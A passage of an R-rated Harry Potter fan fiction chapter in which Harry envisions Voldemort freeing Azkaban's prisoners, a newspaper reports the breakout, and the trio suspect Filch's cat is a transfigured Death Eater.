it into my plotline, I included it. That way you are benefiting from the greatest possible dramatic potential I can give you. That does mean that you will need to hold onto your safety harness at times. Especially with some of the upcoming chapters. So you are warned: creepiness to follow.</p>\n\n<p>Rating: R - for adult themes and sexual intimacy</p>\n\n<p>Chapter Seven &#8211;&nbsp; Azkaban</p>\n\n<p>Harry saw himself sitting in a small watercraft crossing the sea and headed towards an island with a foreboding stone fortress.&nbsp; There was a bitter wind tearing through his clothes that left him drenched with salt water.&nbsp; The moon was only a quarter full and was obscured by clouds making the night dark and oppressive.&nbsp; As the boat drew near the destination and its ominous structure, he felt an overwhelming sense of doom.&nbsp; The very ground seemed to radiate with an unspoken evil.&nbsp; There was no sign identifying the island or the dark stone building, but he knew from his sense of dread that it must be Azkaban.</p>\n\n<p>Harry looked around the small boat and saw three hooded figures.&nbsp; None of them seemed to be aware that he had joined their group.&nbsp; The man piloting the boat had a silver hand and was clearly subservient to the others.&nbsp; As the boat bumped the shore, the tallest figure uttered a low growl of anticipation.</p>\n\n<p>&#8220;Hurry up, Wormtail.&nbsp; Help me out,&#8221; he snarled.</p>\n\n<p>Wormtail had just stepped out of the boat and pulled it onto the ground.&nbsp; He reached into the craft and held his hand out for the two passengers.&nbsp; The tall man refused the extended silver hand with an impatient wave.</p>\n\n<p>&#8220;Your <i>other hand</i>, Wormtail.&#8221;</p>\n\n<p>The servant complied and extended his other hand.&nbsp; The master then accepted the hand for assistance out of the craft.&nbsp; After stepping onto solid ground, the master gripped his servant&#8217;s hand tightly.&nbsp; He twisted the arm behind the smaller man&#8217;s back driving him to his knees.&nbsp; The arm was yanked further back forcing the servant&#8217;s face into the mud.&nbsp; The tall figure then released his servant&#8217;s hand as the man whimpered quietly.</p>\n\n<p>&#8220;That&#8217;s for allowing me to get wet.&nbsp; Get up, you sniveling coward.&#8221;</p>\n\n<p>The servant rose slowly, wiping the dirt and grime off his face.&nbsp; The three hooded men approached the dark stone structure and suddenly there were dozens of hooded creatures that joined them.</p>\n\n<p>&#8220;Ahhh, it is time.&nbsp; My sweet pets, time for better delights.&nbsp; The Ministry of Magic has relegated you to guarding a few witches and wizards that they deem as &#8216;dangerous.&#8217;&nbsp; And yet, you are literally starving.&nbsp; It is not fair and I am here to relieve you of this pitiful task.&nbsp; Tonight you shall be restored to your full glory and full potential.&#8221;</p>\n\n<p>The dementors murmured with excitement.</p>\n\n<p>&#8220;Yes, let us break open these crypts and see what is left.&nbsp; See what we can salvage and what should be destroyed.&#8221;</p>\n\n<p>Harry felt himself being transported alongside the hooded master and was propelled forward even as he found himself horrified at his surroundings.&nbsp; The tall man seemed to glide through the corridors and each cell door immediately sprang open as he passed by.&nbsp; Most were empty except for a soiled mattress, a grimy toilet and filthy straw and dirt that covered the floor.&nbsp; The master stopped at one cell that contained a woman reclining on a mattress.&nbsp; He gave a wicked smile that continued until it was a full leer.</p>\n\n<p>&#8220;Lilith, my devoted servant.&nbsp; I have come to reward your steadfast loyalty.&#8221;</p>\n\n<p>The woman looked up with a look of utter adoration in her eyes.</p>\n\n<p>&#8220;Master!&nbsp; You are here at last.&nbsp; I have dreamt of this day for years,&#8221; she said kneeling in front of him with her head bowed.</p>\n\n<p>&#8220;Come, come, stand before me.&nbsp; I wish to have a better look at you.&#8221;</p>\n\n<p>She looked up at him and slowly rose up before him.&nbsp; He took his hand and reached down to her groin and groped.&nbsp; She shuddered at his touch.</p>\n\n<p>&#8220;Yes, you still appear ripe enough to bear fruit.&nbsp; You shall be rewarded with the ability to continue my bloodline.&nbsp; The next full moon we shall have the ceremony.&#8221;</p>\n\n<p>&#8220;Yes, master,&#8221; she said breathlessly.</p>\n\n<p>&#8220;And your husband?&nbsp; Is he still alive?&#8221;</p>\n\n<p>&#8220;Yes, Cain is being held a few cells down.&nbsp; He has also been loyal to you.&nbsp; We shall eagerly await your bidding.&#8221;</p>\n\n<p>&#8220;Come, let us survey the rest of the crypt,&#8221; he said as he extended his arm to her.</p>\n\n<p>She took his arm and gazed up at him lovingly.&nbsp; Voldemort removed the hood from his head revealing the hideous snake-like head beneath it.&nbsp; He leaned down and started to kiss the woman.</p>\n\n<p>*</p>\n\n<p>&#8220;ARRRRGH!&#8221; Harry Potter screamed as he sat bolt upright in his bed.&nbsp; His scar felt like it was searing and white-hot.&nbsp; His heart was pounding and he put his hand to his forehead to try and soothe the throbbing.&nbsp; He looked around his room and saw that the other four boys were still sleeping soundly.&nbsp; His cry had been drowned out by Neville&#8217;s snoring.</p>\n\n<p>&#8220;Dumbledore,&#8221; he mumbled to himself as he tossed back his bedcovers and leapt out of bed.&nbsp; &#8220;I must get to Dumbledore.&#8221;</p>\n\n<p>He threw on his bathrobe and slippers and grabbed his Invisibility Cloak as he quickly left the dormitory.&nbsp;&nbsp; Harry flew through the castle not even paying attention where he was going but following his instincts.&nbsp; He skidded on the floor as he rounded the corner in front of Dumbledore&#8217;s office.&nbsp; He kicked and pounded on the wall outside the stone gargoyle.</p>\n\n<p>&#8220;Professor Dumbledore!&nbsp; Professor Dumbledore!&nbsp; I need to see you!&#8221;</p>\n\n<p>After a few moments he heard motion from within the chamber.&nbsp; Harry stopped the pounding and waited.&nbsp; Soon the revolving staircase opened and a very tired and disheveled Dumbledore appeared at the top.</p>\n\n<p>&#8220;Yes, Harry.&nbsp; What is it?&#8221;</p>\n\n<p>&#8220;I had a vision.&nbsp; Azkaban. &nbsp;Voldemort&#8217;s overturned it,&#8221; Harry panted.</p>\n\n<p>&#8220;Come in and tell me everything.&#8221;</p>\n\n<p>Harry quickly related everything in his dream.&nbsp; He apologized that he hadn&#8217;t seen the rest of what transpired.&nbsp; He felt embarrassed to say that he forced himself awake when he saw Voldemort kiss someone.&nbsp; It was more than he could bear seeing.</p>\n\n<p>&#8220;Yes, well that is perfectly understandable.&nbsp; I think we should have you see Madam Pomfrey and get a potion for a dreamless sleep when there&#8217;s the next full moon.&nbsp; I wouldn&#8217;t wish anyone to see that kind of ceremony, even if it might provide useful information,&#8221; Dumbledore said kindly.</p>\n\n<p>&#8220;Thank you, sir.&#8221;</p>\n\n<p>&#8220;And now, I want to thank you for coming directly to me with this news.&nbsp; However, I shall wait until morning to alert the Ministry of this attack.&#8221;</p>\n\n<p>&#8220;Why wait sir?&#8221;</p>\n\n<p>&#8220;Because if the events happened as you described, it would be very dangerous for any Ministry personnel to attempt to intervene.&nbsp; No, it is better that they wait until the light of day so they will be able to see any traps that might await them.&nbsp; Anyone that has been killed at the prison will still be dead in the morning.&nbsp; It is doubtful that anyone&#8217;s life would be saved if the Ministry were alerted right now.&#8221;&nbsp; Then Dumbledore sighed heavily, &#8220;It is very unfortunate that Minister Fudge did not heed my warning about Azkaban, nor take my advice to heart.&nbsp; Because of that Voldemort has reclaimed the dementors and the few surviving Death Eaters that were still imprisoned in Azkaban.&nbsp; Harry it is time for you to return to your dormitory and try to get some rest.&nbsp; Please do not mention this to anyone else.&nbsp; It is best that your clairvoyant connection to Voldemort is not widely known and the fate of Azkaban will soon be common knowledge.&#8221;</p>\n\n<p>&#8220;But sir, I told Ron and Hermione about my earlier visions&#8230;&#8221; he began.</p>\n\n<p>&#8220;Yes, well, I don&#8217;t think they need to be burdened with the thought of Voldemort wanting to impregnate one of his servants.&nbsp; There&#8217;s nothing they can do about that and frankly, telling them would serve no purpose other than in horrifying your friends.&#8221;</p>\n\n<p>Harry nodded and slowly made his way back to Gryffindor Tower.&nbsp; He was thankful that by using the Invisibility Cloak none of the passing ghosts or poltergeists bothered him as he walked by lost in thought.</p>\n\n<p>*</p>\n\n<p>The next day Harry found himself walking around in a daze.&nbsp; He had a hard time concentrating on anything and just followed Ron around to the classes.&nbsp; He couldn&#8217;t explain to his friends what was bothering him, because of Dumbledore&#8217;s insistence on keeping the information about his dream a secret.&nbsp; His mental preoccupation caused ten more points to be taken from Gryffindor when Harry didn&#8217;t realize that Snape had asked him a question about memory potions.&nbsp; </p>\n\n<p>The next morning however, the entire school was abuzz as soon as the morning mail arrived.&nbsp; Everyone started pouring over the copies of <i>The Daily Prophet</i> that had been delivered by owl post.&nbsp; A large picture on the front page was of the brooding fortress that had haunted Harry&#8217;s dream.</p>\n\n<p><b>Azkaban overturned &#8211; the latest scandal to rock the Wizarding World</b></p>\n\n<i>By Hearst Seldes, Managing Editor</i>\n\n<p><b></b></p>\n\n<p><b>Late Halloween evening the prison fortress of Azkaban was emptied of its guards and prisoners.&nbsp; The Ministry of Magic sent investigators to the island yesterday after an anonymous tip was received that there might be some trouble.</b></p>\n\n<p><b>The investigators found all the cell doors had been opened and were empty.&nbsp; The bodies of two prisoners were found dead.&nbsp; It appeared that their bodies had been dumped into the sea and had washed ashore.&nbsp; Those prisoners were positively identified as being Thanatos Travers and Antonin Dolohov.</b></p>\n\n<p><b>It is not known whether the missing prisoners are alive or dead.&nbsp; The investigators from the Ministry think that the dementors had become restless due to the small number of prisoners that they were guarding. </b></p>\n\n<p><b>Dementors are known to feed off the emotions of humans and, it may be presumed, there were simply not enough prisoners locked up to satisfy their needs. </b></p>\n\n<p><b>The presence of dementors at Azkaban has been the source of controversy in the Wizarding World since it was first introduced in 1982 by then Junior Minister Cornelius Fudge. </b></p>\n\n<p><b>&nbsp;It was thought that allowing these foul creatures to work as prison guards would prove to be beneficial by isolating them from the regular wizarding population.&nbsp; It would also remove the risk of guarding dangerous dark wizards by &#8216;normal, good wizards.&#8217;&nbsp; </b></p>\n\n<p><b>And since prolonged exposure to dementors is supposed to drain witches and wizards of their powers, it was thought that this would be a good long-term solution.</b></p>\n\n<p><b>It is not known if the dementors simply gave their Kiss to all the prisoners and then dumped their soulless bodies into the sea or if some of the prisoners escaped.</b></p>\n\n<p><b>Albert Albini, a ranking member of the International Confederation of Wizards said, &#8220;I for one was always nervous about having You-Know-Who&#8217;s greatest supporters in charge of guarding convicted Death Eaters.&nbsp; I wouldn&#8217;t want the job, myself mind you, but I never slept well when I thought about it.&nbsp; Now, with the rumours that the Dark Lord might have returned&#8230;well I worry what might be waiting for us all.&#8221;</b></p>\n\n<p><b>Minister Cornelius Fudge however feels that Albini&#8217;s concerns are overblown.&nbsp; &#8220;I went on a tour of the facility a few months ago.&nbsp; It is true that there were not many prisoners left.&nbsp; It seems that many wizards simply die from depression after being exposed to dementors for too long.&nbsp; So, while they hadn&#8217;t been sentenced to death by the Council of Magical Law, it seems that they are probably all dead now.&nbsp; Which of course is no great loss.&nbsp; We shall however, have to find new guards to work at Azkaban once we have any new lawbreaking witches or wizards that deserve imprisonment.&#8221; </b></p>\n\n<p><b>The Ministry of Magic was reluctant to release a list of prisoners whose bodies were not found, but relented when reminded that the public should consider them to be potential fugitives.&nbsp; </b></p>\n\n<p><b></b></p>\n\n<p><b>The prisoners not accounted for are:</b></p>\n\n<b></b><br>\n\n\n<b>Cain Lestrange</b><br>\n\n\n<b>Lilith Lestrange</b><br>\n\n\n<b>Milton Mulciber</b><br>\n\n\n<b>Cyncus&nbsp;Norris</b><br>\n\n\n<b>Augustus Rookwood</b><br>\n\n\n<p><b></b></p>\n\n<p><b>The only other time that there was an escape from Azkaban was two years ago by the notorious Sirius Black.&nbsp; </b></p>\n\n<p><b>That escape led to an extensive manhunt.&nbsp; It was suspected that Black wanted to kill Harry Potter.&nbsp; As a result dementors were stationed at Hogwarts for that entire school year.&nbsp; Black was briefly detained after abducting Potter and two other students while on grounds of that school.&nbsp; However, Black escaped mysteriously before the Dementor&#8217;s Kiss was performed.&nbsp; He has not been seen near the school since and still eludes recapture.&nbsp; This has been a source of great embarrassment by the Ministry.</b></p>\n\n<p><b>One anonymous source at the Ministry told this reporter that the investigators are considering the possibility that Sirius Black was behind the breakout of Azkaban so that he would have ready followers with his former inmates.&nbsp; </b></p>\n\n<p><b>Black is widely believed to have been You-Know-Who&#8217;s second in command, but that this was only revealed with the betrayal and death of his former best friend James Potter.</b></p>\n\n<p><b>Pictures and stories regarding these fugitives&#8217; crimes are on page 3.&nbsp; Please be on the look out for these witches or wizards and report any suspicious activity immediately to the Ministry of Magic.</b></p>\n\n<p><b>In other news from the Ministry, Amos Diggory has been named as the new head of the Council of Magical Law.&nbsp; Story on Page 7.</b></p>\n\n<p><i></i></p>\n\n<p>Harry turned to the inside of the paper and saw the face of the woman he had seen in Dumbledore&#8217;s Pensieve and in his dream.&nbsp; He shuddered to see the evil glare in her eyes.&nbsp; He looked at the other pictures and was disturbed to see that they had included Sirius among them.&nbsp; He hadn&#8217;t wanted to see that the paper would link these stories, but he had to admit that it was natural that a newspaper would include Sirius in this story since he was still a fugitive from justice.&nbsp; Harry was relieved to look at the photos printed of Sirius and know that &#8220;Joseph O&#8217;Brien&#8221; didn&#8217;t resemble either the before or after photos shown.</p>\n\n<p>&#8220;Harry!&nbsp; I can&#8217;t believe it happened,&#8221; Hermione said with her lips trembling.</p>\n\n<p>&#8220;Well, Dumbledore expected that.&nbsp; He told Fudge last June it would happen.&nbsp; I&#8217;m just surprised it took so long,&#8221; he replied calmly.</p>\n\n<p>&#8220;Why do you think that was?&#8221; Ron asked.</p>\n\n<p>&#8220;Maybe Voldemort wanted time to infiltrate the Ministry before attacking Azkaban,&#8221; Harry suggested.</p>\n\n<p>&#8220;Did you see what the crime that the Lestranges and Norris were convicted of?&#8221; Hermione asked looking at the paper.&nbsp;&nbsp; &#8220;They tortured Frank and Claire Longbottom.&nbsp; Do you think they&#8217;re any relation to Neville?&#8221;</p>\n\n<p>&#8220;Probably.&nbsp; Neville did grow up with his grandmother,&#8221; Harry said quietly.&nbsp; He wanted to be careful and didn&#8217;t want it to seem too obvious that he knew they were Neville&#8217;s parents.</p>\n\n<p>&#8220;Oh, that&#8217;s right.&nbsp; Poor Neville,&#8221; she sighed heavily.</p>\n\n<p>&#8220;Well, don&#8217;t say anything to him until&#8230;well, until you can talk to him without sounding like you pity him,&#8221; Harry said resolutely.&nbsp; &#8220;I&#8217;m sure that they were somehow related to him and it&#8217;s probably still pretty painful.&#8221;</p>\n\n<p>&#8220;It says here they used the Cruciatus on the Longbottoms.&nbsp; That explains why Neville reacted so strongly last year when Moody, er, Crouch did his lesson,&#8221; said Ron.</p>\n\n<p>Harry looked down the table and saw Neville trying to eat his breakfast in total oblivion.&nbsp; It was a hard task because there were many people pointing at him and whispering as they read their newspapers.&nbsp;&nbsp; </p>\n\n<p>Harry looked up at the faculty table and locked eyes with Snape.&nbsp; His face had a closed expression on it that Harry couldn&#8217;t read.&nbsp; Harry then broke eye contact to see Professors Sprout and Vector huddled over the paper in deep conversation.&nbsp; Professor Figg looked terribly distraught and Harry caught her eye as she left the table brushing tears away from her eyes and covering her mouth with one hand.</p>\n\n<p>*</p>\n\n<p>That night as Harry went to brush his teeth before going to bed, he saw Neville in the bathroom.&nbsp; A first year was just leaving, Harry looked around to be sure they were alone.</p>\n\n<p>&#8220;Hey Neville, how are you doing?&#8221;</p>\n\n<p>Neville shrugged his shoulders.</p>\n\n<p>&#8220;I&#8217;ve had better days.&#8221;</p>\n\n<p>&#8220;Yeah.&nbsp; I didn&#8217;t tell anyone, but I&#8217;m sure&#8230;&#8221; Harry began.</p>\n\n<p>&#8220;You didn&#8217;t have to.&nbsp; Today&#8217;s paper announced it for everyone.&nbsp; At least it as good as spelled it all out.&nbsp; It might have been better if they had.&nbsp; I wouldn&#8217;t have had so many people come up to me all day.&nbsp; Or just pointing and whispering at me.&nbsp; I now understand why you always comb your hair down over your forehead.&nbsp; Trying to hide from all the peering eyes, something that people gawp over.&#8221;</p>\n\n<p>Harry nodded and put a hand on Neville&#8217;s shoulder.&nbsp; &#8220;I&#8217;m sorry you had to go through this, Neville.&#8221;</p>\n\n<p>Neville gave him a wan smile.&nbsp; &#8220;Thanks, Harry.&nbsp; You&#8217;re a good friend.&#8221;</p>\n\n<p>Harry felt a little guilty at that.&nbsp; He didn&#8217;t feel like he had been much of a friend towards Neville for the last five years at all.&nbsp; He watched Neville leave the bathroom and saw the boy&#8217;s rounded shoulders as if he were burdened with a heavy weight.&nbsp; He then looked up at the mirror and studied his own reflection and wondered which boy had gotten the worst lot in life.</p>\n\n<p>*</p>\n\n<p>A few days later Ron had been waiting for Hermione to come into the Gryffindor common room after the library closed.</p>\n\n<p>&#8220;Umm, Hermione,&#8221; Ron sniffed.&nbsp; &#8220;I was looking through that book on Greek Myths and I began thinking about Filch.&nbsp; Did you ever wonder about him and Mrs. Norris?&#8221;</p>\n\n<p>Ron opened up the book to a page showing a man whose body was covered with eyeballs.</p>\n\n<p>&#8220;Well, what do you mean?&#8221; she asked quickly licking her lips.</p>\n\n<p>&#8220;You know&#8230;<i>Argus</i> looking over a transfigured woman?&#8221;</p>\n\n<p>&#8220;Er, what are you two talking about?&nbsp; I haven&#8217;t read this stuff before,&#8221; Harry said blinking.</p>\n\n<p>&#8220;Well, it starts off with Zeus.&nbsp; He went after anything in a skirt,&#8221; Ron began.</p>\n\n<p>&#8220;Sort of like Snuffles in his younger days,&#8221; Harry interjected.</p>\n\n<p>&#8220;Oh, really?&#8221; Hermione said with a raised eyebrow.</p>\n\n<p>&#8220;Umm, yeah.&nbsp; Sorry,&#8221; he said sheepishly.&nbsp; &#8220;Please continue.&#8221;</p>\n\n<p>&#8220;Anyway,&#8221; Ron continued.&nbsp; &#8220;Zeus was spending time with a pretty young thing named Io and his main wife Hera came along.&nbsp; Zeus saw her coming and tried to hide Io quickly, so he transfigured her into a calf.&nbsp; It was a snow white calf that was as beautiful as the young woman.&#8221; </p>\n\n<p>&#8220;And Hera wasn&#8217;t fooled for one minute.&nbsp; But she had the upper hand,&#8221; said Hermione as she leaned on Harry&#8217;s shoulder and turned her face upward towards him.&nbsp; &#8220;All she had to do was bat her eyelashes and say, &#8216;Oh what a beautiful calf.&nbsp; May I have her?&#8217;&#8221;</p>\n\n<p>Harry felt a little warmth flush through him with Hermione&#8217;s playacting. </p>\n\n<p>&#8220;So he gave her the calf?&#8221; he asked with a strangled voice.</p>\n\n<p>&#8220;Of course,&#8221; said Ron.&nbsp; &#8220;Then Hera asked her faithful manservant Argus to watch over the calf.&nbsp; He had one hundred eyes all over his body.&nbsp; So he always had some eyes awake at any one time.&#8221; </p>\n\n<p>&#8220;Ron, do you think Mrs. Norris is a witch that&#8217;s been transfigured and Argus Filch is watching over her?&#8221; Hermione asked.</p>\n\n<p>&#8220;Why not?&nbsp; After Scabbers, I&#8217;m willing to look at any animal around here sceptically.&nbsp; And you&#8217;ve got to admit that Mrs. Norris is a strange name for a cat.&#8221;</p>\n\n<p>&#8220;It&#8217;s the name of a character from <i>Mansfield Park</i> by Jane Austen,&#8221; Hermione protested.</p>\n\n<p>&#8220;And she&#8217;s&#8230;?&#8221; Ron prompted.</p>\n\n<p>&#8220;A famous nineteenth century British writer,&#8221; Hermione said with an edge to her voice.</p>\n\n<p>&#8220;Mmm, hmm.&nbsp; So do you think it&#8217;s likely that Argus Filch is a big fan of nineteenth century Muggle literature?&#8221; Ron asked.</p>\n\n<p>&#8220;Well, when you put it that way&#8230;&#8221; Hermione began.</p>\n\n<p>&#8220;Yesss and you&#8217;ve got to admit that when she was petrified he acted as if he had lost a loved one.&nbsp; As if she were a person and not just a cat.&#8221;</p>\n\n<p>&#8220;You&#8217;re right on that point, Ron,&#8221; said Harry.</p>\n\n<p>&#8220;And Cyncus Norris was one of the prisoners in Azkaban.&nbsp; What if Mrs. Norris is his wife?&nbsp; And somehow Filch was told to look after her?&nbsp;&nbsp; What if she&#8217;s another Death Eater and has been here at Hogwarts gathering information for You-Know-Who?&#8221;</p>\n\n<p>Harry glared at Ron and hissed, &#8220;Voldemort.&#8221;</p>\n\n<p>&#8220;Sorry, Harry,&#8221; Ron shook his head.&nbsp; &#8220;I just can&#8217;t bring myself to say that name.&nbsp; Anyway, what if she&#8217;s been patiently waiting for her husband to show back up?&#8221;</p>\n\n<p>&#8220;Why would a Squib watch over a transfigured Death Eater?&#8221; asked Hermione.</p>\n\n<p>&#8220;Maybe he was in love with her and maybe he thought she loved him in return?&nbsp; He does refer to her as &#8216;my sweet.&#8217;&nbsp; So maybe he thought he was protecting her when in reality she was just hiding from the Aurors and has been spying on Dumbledore all this time.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know, Ron,&#8221; Hermione said sceptically.&nbsp; &#8220;Don&#8217;t you think Dumbledore or one of the faculty would have thought of that before?&#8221;</p>\n\n<p>&#8220;You&#8217;re just feeling bad because <i>you</i> didn&#8217;t think of it before.&nbsp; Little Miss Expert on Greek mythology,&#8221; he said gleefully teasing her.</p>\n\n<p>&#8220;That&#8217;s not true,&#8221; she said defensively.&nbsp; Then she paused.&nbsp; &#8220;Well, maybe a little&#8230;okay&#8230;I&#8217;ll admit it just this one time.&nbsp; You&#8217;re right.&nbsp; I&#8217;m kicking myself because I didn&#8217;t think of it.&nbsp; Are you happy now?&#8221;</p>\n\n<p>&#8220;Yes, I am,&#8221; Ron said smugly.&nbsp; &#8220;It&#8217;s not everyday that the Great Hermione Granger admits she was wrong.&#8221;</p>\n\n<p>&#8220;So Ron, any thoughts as to how we should go about testing this theory of yours?&#8221; she asked.</p>\n\n<p>&#8220;Not really,&#8221; he sighed.&nbsp; &#8220;Think we should tell McGonagall?&#8221;</p>\n\n<p>&#8220;No.&#8221; Harry said firmly.&nbsp; &#8220;She&#8217;d never believe it.&nbsp; If for no other reason than she never thought of it before either.&nbsp; She&#8217;d be much tougher than Hermione to admit that she was wrong about something.&nbsp; No, I think we need to talk to Professor Figg.&nbsp; She&#8217;s a former Auror and she might listen to us if for no other reason than she hasn&#8217;t been here for years.&nbsp; So she won&#8217;t blame herself for overlooking it.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; said Hermione.&nbsp; &#8220;When do you want to talk with her?&#8221;</p>\n\n<p>&#8220;First thing tomorrow morning.&nbsp; If there&#8217;s a Death Eater here at Hogwarts, we need to get them exposed right away.&#8221;</p>\n\n<p>&#8220;You don&#8217;t want to try tonight?&#8221; Hermione asked.</p>\n\n<p>&#8220;No.&nbsp; I don&#8217;t want to start prowling around the faculty quarters at night.&nbsp; Snape or McGonagall would skin us alive for that.&nbsp; Especially for something they probably would dismiss out of hand.&#8221;</p>\n\n<p>*</p>\n\n<p>The following day was a Sunday and they decided that Hermione should be the one to go up to Professor Figg after breakfast.&nbsp; No one would think twice about Hermione asking a teacher a question outside of class.&nbsp; Figg nodded and when they left the Great Hall, Harry and Ron quickly followed them to her office.</p>\n\n<p>&#8220;So what do I owe this honour that the Great Trio wants to speak with me?&#8221; she asked as she casually readjusted an earring.</p>\n\n<p>&#8220;Umm, well we have something that we thought of that if we&#8217;re right could be very dangerous for the safety of this school,&#8221; Harry said as he pushed his glasses up.</p>\n\n<p>&#8220;What is it?&#8221; </p>\n\n<p>&#8220;Well, we were wondering about Argus Filch and his cat,&#8221; said Ron.</p>\n\n<p>&#8220;What about his cat?&#8221; Professor Figg pressed.</p>\n\n<p>&#8220;We don&#8217;t think it&#8217;s a cat.&nbsp; We think it might be someone who&#8217;s been transfigured.&nbsp; Possibly the wife of a Death Eater or maybe a female Death Eater,&#8221; Hermione chimed in.</p>\n\n<p>&#8220;Why do you think that?&#8221;</p>\n\n<p>&#8220;A few years ago when a basilisk was set loose in the school, his cat was petrified.&nbsp; He didn&#8217;t react like someone does when a cat is killed.&nbsp; Even if it&#8217;s a very loved pet.&nbsp; He acted as if it were someone that he loved.&nbsp; Like it was a woman,&#8221; Harry said solemnly.</p>\n\n<p>&#8220;His cat&#8217;s name is Mrs. Norris.&nbsp; And we just have doubts that he&#8217;d be a fan of Jane Austen.&nbsp; And now that we&#8217;ve read about Cyncus Norris escaping from Azkaban&#8230;&#8221; Hermione trailed off.</p>\n\n<p>&#8220;His cat&#8217;s name is <i>Mrs. Norris?</i>&#8221; Professor Figg said startled. </p>\n\n<p>All three nodded at her.</p>\n\n<p>&#8220;I didn&#8217;t know that,&#8221; she said looking off into space.&nbsp; &#8220;Thank you for telling me.&nbsp; I shall look into the matter.&nbsp; Thank you.&#8221;</p>\n\n<p>She absentmindedly dismissed them and sat staring in the distance.</p>\n\n<p>&#8220;Well, at least she didn&#8217;t tell us that we were nutters,&#8221; said Ron.</p>\n\n<p>&#8220;Yeah, and that&#8217;s exactly how McGonagall would have responded.&nbsp; Nutters,&#8221; said Harry.</p>\n\n<p>Later Hermione went to the library while Ron and Harry headed for Quidditch practice. The whole school was getting excited because the first match of the season was this Saturday and after a year without Quidditch, the school was eager to have the return of their wizarding sport.&nbsp; Both Gryffindor and Slytherin were given extended practice times on Sunday since they were competing in the upcoming match.</p>\n\n<p>They were in the locker rooms changing into their practice uniforms when Dean Thomas came in holding something under his cloak.&nbsp; He slipped it out and handed it to Ron.&nbsp; As he turned it over, Ron saw that he was holding a mask with a green snake&#8217;s face painted on it.</p>\n\n<p>&#8220;What is this Dean?&#8221; Ron asked looking as if it were about to attack him.</p>\n\n<p>&#8220;It&#8217;s a mask that goalies use in hockey.&nbsp; I had my folks send me two of them and I painted them.&#8221;</p>\n\n<p>Dean put his mask on and it bore a grinning skull on its face.</p>\n\n<p>&#8220;Umm, Dean &#8211; why do you need masks?&#8221; asked Harry.</p>\n\n<p>&#8220;Well, those Bludgers are pretty brutal.&nbsp; I&#8217;d hate to take one to the head.&nbsp; So I had Hermione help me to put some charms on them.&nbsp; They&#8217;re Bludger resistant and they don&#8217;t interfere with your peripheral vision.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221;&nbsp; Ron said as he tried his on.&nbsp; &#8220;You&#8217;re right.&nbsp; I thought I wouldn&#8217;t be able to see very well.&#8221;</p>\n\n<p>&#8220;Besides being protective gear, I thought it might give us a little edge.&nbsp; You know, a bit of psychological warfare.&#8221;</p>\n\n<p>&#8220;Don&#8217;t you think those designs are a bit much?&#8221; Harry asked.</p>\n\n<p>&#8220;Why?&#8221; Dean asked defensively.&nbsp; &#8220;We&#8217;re going up against Slytherin.&nbsp; Think they&#8217;ll be afraid to see a skull or a snake?&nbsp; Come on, the snake&#8217;s on their crest and a skull is practically their unofficial symbol.&nbsp; So what&#8217;s the problem?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know&#8230;I just get a bad feeling about this,&#8221; Harry said shaking his head.&nbsp; &#8220;Well, come on.&nbsp; Let&#8217;s get going.&nbsp; We&#8217;ve only got three hours on the field.&#8221;</p>\n\n<p>Practice that day was fast and furious.&nbsp; After it was over, Harry felt very confident going into the match.&nbsp; He had never seen his teamwork with such skill and precision.&nbsp; He saw the advantage of having a practice team to try out different strategies.&nbsp; Ron narrowly edged out Dean with a lower goals against average and was announced as the Keeper for the upcoming game. </p>\n\n<p>After showering, Ron and Harry were alone in the locker room changing into their clothes.&nbsp; They were quietly talking about what steps they thought Professor Figg might take to investigate the Mrs. Norris mystery.&nbsp; Then Ron changed the subject to something that made Harry feel very uncomfortable.</p>\n\n<p>&#8220;Hey Harry, why do you suppose Figg changed her wardrobe?&nbsp; I mean at the beginning of the year she just wore those short cloaks.&nbsp; You could see her clothes underneath.&nbsp; Now she&#8217;s wearing robes that reminds me of the Fat Friar.&#8221;</p>\n\n<p>&#8220;I dunno, Ron.&nbsp; Maybe she got tired of guys like you staring at her chest when she&#8217;s trying to teach a class,&#8221; Harry retorted.</p>\n\n<p>&#8220;It&#8217;s not just her chest, she&#8217;s got legs that go on forever.&nbsp; Can you blame me for looking?&nbsp; Who else am I supposed to look at?&nbsp; Old McGonagall?&#8221; he shuddered.&nbsp; &#8220;Dumpy Sprout?&nbsp; Or crazy bat-eyed Trelawney?&#8221;</p>\n\n<p>They both laughed at the images.</p>\n\n<p>&#8220;Come on, Ron,&#8221; said Harry.&nbsp; &#8220;Figg&#8217;s old enough to be your mother.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think my mum ever looked that good.&nbsp; I don&#8217;t think any guy here would lust after my mum.&nbsp; But, I know that lots of guys have been having some wicked dreams about Figg.&#8221;</p>\n\n<p>Seamus and Dean just came out of the showers. </p>\n\n<p>&#8220;You guys talking about Fabulous Figg?&#8221; asked Dean.</p>\n\n<p>&#8220;Ron is,&#8221; Harry muttered.&nbsp; &#8220;I&#8217;d be careful.&nbsp; Remember Seamus is a prefect.&nbsp; He might take points away for talking about a teacher with such disrespect.&#8221;</p>\n\n<p>&#8220;Why?&nbsp; Were you guys talking about her body?&#8221; asked Seamus.</p>\n\n<p>&#8220;Yeah,&#8221; admitted Ron.</p>\n\n<p>&#8220;Why would I take points away for talk like that in a locker room?&nbsp; I&#8217;d have to take points away from meself.&nbsp; I mean, she&#8217;s hot.&nbsp; And is it just me or has her body gotten better since school started?&#8221;</p>\n\n<p>&#8220;It&#8217;s a good thing we wear these everyday robes, otherwise Ron would be in trouble if he had to stand in front of Figg&#8217;s class to do a report,&#8221; laughed Dean.</p>\n\n<p>&#8220;That&#8217;s true,&#8221; laughed Ron.</p>\n\n<p>&#8220;Come on, Harry,&#8221; teased Dean.&nbsp; &#8220;Do you mean to tell us that you&#8217;ve never had <i>any</i> lewd thoughts about her?&#8221;</p>\n\n<p>Harry then remembered his envisioning her with Sirius last summer.&nbsp; He swallowed hard.</p>\n\n<p>&#8220;I thought so,&#8221; Dean said.&nbsp; &#8220;Stop beating up Ron for just saying what every guy around here has been thinking.&#8221;</p>\n\n<p>Harry had finished dressing and grabbed his broomstick and headed out the door.</p>\n\n<p>&#8220;Why don&#8217;t you guys just go and hack off.&nbsp; Do it quietly though.&nbsp; I don&#8217;t want to hear <i>that</i> while I&#8217;m trying to sleep.&#8221;</p>\n\n<p>The room burst into laughter as he left.</p>\n\n<p>Harry was halfway back to the castle 